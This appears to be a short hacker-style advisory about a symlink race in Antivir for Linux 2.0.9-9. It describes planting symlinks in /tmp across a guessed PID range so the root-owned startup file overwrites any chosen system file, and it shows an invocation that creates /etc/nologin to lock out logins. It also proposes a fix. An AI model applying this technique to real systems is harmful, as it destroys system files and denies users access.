 symlink vul for Antivir / Linux Version 2.0.9-9 
(maybe lower) 
 
 antivir gets started on bootup and creats a tmp file 
(/tmp/.pid_antivir_$$ - where 
 $$ is the process id). the file got read/write 
permissions for the superuser 
 and nothing more. the file gets created and wont be 
delted till the system reboots. 
 well- as most of us know is the PID of a process is 
not on ervery reboot the same. 
 so the PID of the antivir process goes +/- 10-20. 
 
 if we creat a link with the correct name 
(expamle .pid_antivr_1204) which points 
 somewhere to the system, it will create or overwrite 
the destination of our 
 symbolic link. 
 
 this exploits should work for most rebooting 
systems, as we guess the pid of the 
 new process will be greater than 1000 and less than 
2000. for better usage take 
 a look at the running procces ID and set the defined 
START -20 and END +20. 
 sometimes one reboot does the job and sometimes it 
takes two reboots. 
 
 i think the programmers could use the same method 
like the guys from xmms. before 
 they creat anything they first "unlink" the filename 
in the /tmp dir.

 example: 
 ./antisys /etc/nologin 
  (reboot) 
  ls -l /etc/nologin 
  rw------- root root /etc/nologin 
 
 have phun!
